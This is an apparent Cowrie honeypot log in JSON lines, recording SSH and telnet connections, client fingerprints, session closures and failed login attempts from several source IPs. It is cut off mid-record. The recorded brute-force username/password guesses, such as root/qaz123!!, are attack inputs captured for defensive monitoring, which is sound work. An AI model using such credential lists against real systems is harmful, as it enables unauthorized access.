{"eventid":"cowrie.session.closed","duration":30.360506534576416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:16.232249Z","src_ip":"51.81.202.206","session":"e6ad87d5fed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":39828,"dst_ip":"159.203.135.109","dst_port":23,"session":"48322b27e0c7","protocol":"telnet","message":"New connection: 51.81.202.206:39828 (159.203.135.109:23) [session: 48322b27e0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:17.523346Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":35626,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b105d88b6fd","protocol":"ssh","message":"New connection: 112.217.199.222:35626 (10.17.0.5:22) [session: 3b105d88b6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:18.054100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:18.059045Z","src_ip":"112.217.199.222","session":"3b105d88b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.028203010559082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:18.248634Z","src_ip":"51.81.202.206","session":"8f9029509462","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:18.276095Z","src_ip":"112.217.199.222","session":"3b105d88b6fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop1","message":"login attempt [root/qwertyuiop1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:19.136949Z","src_ip":"112.217.199.222","session":"3b105d88b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:20.345398Z","src_ip":"112.217.199.222","session":"3b105d88b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.189808130264282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:21.052475Z","src_ip":"51.81.202.206","session":"1398378eca39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479722499847412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:22.402448Z","src_ip":"51.81.202.206","session":"043494ef624f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":51550,"dst_ip":"159.203.135.109","dst_port":23,"session":"113830df929e","protocol":"telnet","message":"New connection: 51.81.202.206:51550 (159.203.135.109:23) [session: 113830df929e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:23.651474Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52656,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f487e5a4a13","protocol":"telnet","message":"New connection: 51.81.202.206:52656 (159.203.135.109:23) [session: 8f487e5a4a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:24.265023Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52950,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3df2e3bde00","protocol":"telnet","message":"New connection: 51.81.202.206:52950 (159.203.135.109:23) [session: e3df2e3bde00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:24.431397Z"}
{"eventid":"cowrie.session.closed","duration":30.8705837726593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:26.536765Z","src_ip":"51.81.202.206","session":"6138ae0f55dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58026,"dst_ip":"159.203.135.109","dst_port":23,"session":"f590191a7bb3","protocol":"telnet","message":"New connection: 51.81.202.206:58026 (159.203.135.109:23) [session: f590191a7bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:27.154921Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58892,"dst_ip":"159.203.135.109","dst_port":23,"session":"949c2035070c","protocol":"telnet","message":"New connection: 51.81.202.206:58892 (159.203.135.109:23) [session: 949c2035070c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:27.613773Z"}
{"eventid":"cowrie.session.closed","duration":30.320508003234863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:31.054000Z","src_ip":"51.81.202.206","session":"acfcbb5fdaba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503024339675903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:32.057469Z","src_ip":"51.81.202.206","session":"f06c2ac5f1d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":39948,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a26a065b37f","protocol":"telnet","message":"New connection: 51.81.202.206:39948 (159.203.135.109:23) [session: 8a26a065b37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:32.691811Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":40586,"dst_ip":"159.203.135.109","dst_port":23,"session":"58e70b73966f","protocol":"telnet","message":"New connection: 51.81.202.206:40586 (159.203.135.109:23) [session: 58e70b73966f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:33.019507Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":42838,"dst_ip":"159.203.135.109","dst_port":23,"session":"d988048e095c","protocol":"telnet","message":"New connection: 51.81.202.206:42838 (159.203.135.109:23) [session: d988048e095c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:34.161999Z"}
{"eventid":"cowrie.session.closed","duration":30.622007846832275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:34.370439Z","src_ip":"51.81.202.206","session":"638fd357302a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":55668,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bdc9975ee74","protocol":"ssh","message":"New connection: 152.32.213.101:55668 (159.203.135.109:22) [session: 7bdc9975ee74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:34.619532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:34.624393Z","src_ip":"152.32.213.101","session":"7bdc9975ee74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:34.867644Z","src_ip":"152.32.213.101","session":"7bdc9975ee74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123!!","message":"login attempt [root/qaz123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:35.790752Z","src_ip":"152.32.213.101","session":"7bdc9975ee74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:37.024024Z","src_ip":"152.32.213.101","session":"7bdc9975ee74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.302613258361816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:39.067728Z","src_ip":"51.81.202.206","session":"c4071f31add7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":53288,"dst_ip":"159.203.135.109","dst_port":23,"session":"41592ba51758","protocol":"telnet","message":"New connection: 51.81.202.206:53288 (159.203.135.109:23) [session: 41592ba51758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:39.792085Z"}
{"eventid":"cowrie.session.closed","duration":30.992189407348633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:42.047901Z","src_ip":"51.81.202.206","session":"af84ddef84b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":33522,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f5372d0344f","protocol":"telnet","message":"New connection: 51.81.202.206:33522 (159.203.135.109:23) [session: 3f5372d0344f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:44.622146Z"}
{"eventid":"cowrie.session.closed","duration":30.528504848480225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:48.051726Z","src_ip":"51.81.202.206","session":"48322b27e0c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46184,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5997b52b8f","protocol":"telnet","message":"New connection: 51.81.202.206:46184 (159.203.135.109:23) [session: 4e5997b52b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:50.996302Z"}
{"eventid":"cowrie.session.closed","duration":30.591010332107544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:54.242362Z","src_ip":"51.81.202.206","session":"113830df929e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823094606399536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:55.088018Z","src_ip":"51.81.202.206","session":"8f487e5a4a13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69724416732788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:55.128562Z","src_ip":"51.81.202.206","session":"e3df2e3bde00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":57912,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d0a3db34069","protocol":"telnet","message":"New connection: 51.81.202.206:57912 (159.203.135.109:23) [session: 8d0a3db34069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:57.024519Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":58826,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b890689d80","protocol":"ssh","message":"New connection: 222.110.147.56:58826 (10.17.0.5:22) [session: b9b890689d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:57.336560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:57.341225Z","src_ip":"222.110.147.56","session":"b9b890689d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:57.541575Z","src_ip":"222.110.147.56","session":"b9b890689d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.909605264663696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:58.064416Z","src_ip":"51.81.202.206","session":"f590191a7bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.467983722686768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:58.081651Z","src_ip":"51.81.202.206","session":"949c2035070c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"admin","message":"login attempt [teamspeak/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:58.373273Z","src_ip":"222.110.147.56","session":"b9b890689d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:59.578774Z","src_ip":"222.110.147.56","session":"b9b890689d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35424,"dst_ip":"159.203.135.109","dst_port":22,"session":"b62b3a391584","protocol":"ssh","message":"New connection: 159.203.92.129:35424 (159.203.135.109:22) [session: b62b3a391584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:00.082984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:00.096137Z","src_ip":"159.203.92.129","session":"b62b3a391584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:00.102144Z","src_ip":"159.203.92.129","session":"b62b3a391584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"blabla123x!!","message":"login attempt [alex/blabla123x!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:00.139351Z","src_ip":"159.203.92.129","session":"b62b3a391584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":36488,"dst_ip":"159.203.135.109","dst_port":23,"session":"7717f31ad53e","protocol":"telnet","message":"New connection: 51.81.202.206:36488 (159.203.135.109:23) [session: 7717f31ad53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:00.508210Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:01.145932Z","src_ip":"159.203.92.129","session":"b62b3a391584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":39806,"dst_ip":"159.203.135.109","dst_port":23,"session":"630d6ae354bb","protocol":"telnet","message":"New connection: 51.81.202.206:39806 (159.203.135.109:23) [session: 630d6ae354bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:02.452551Z"}
{"eventid":"cowrie.session.closed","duration":30.44819474220276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:03.139890Z","src_ip":"51.81.202.206","session":"8a26a065b37f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09250283241272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:04.111892Z","src_ip":"51.81.202.206","session":"58e70b73966f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946998119354248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:05.108878Z","src_ip":"51.81.202.206","session":"d988048e095c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25385880470276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:10.045797Z","src_ip":"51.81.202.206","session":"41592ba51758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492773056030273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:15.114804Z","src_ip":"51.81.202.206","session":"3f5372d0344f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":53212,"dst_ip":"10.17.0.5","dst_port":22,"session":"9225897c563b","protocol":"ssh","message":"New connection: 112.217.199.222:53212 (10.17.0.5:22) [session: 9225897c563b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:15.687489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:15.692562Z","src_ip":"112.217.199.222","session":"9225897c563b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes19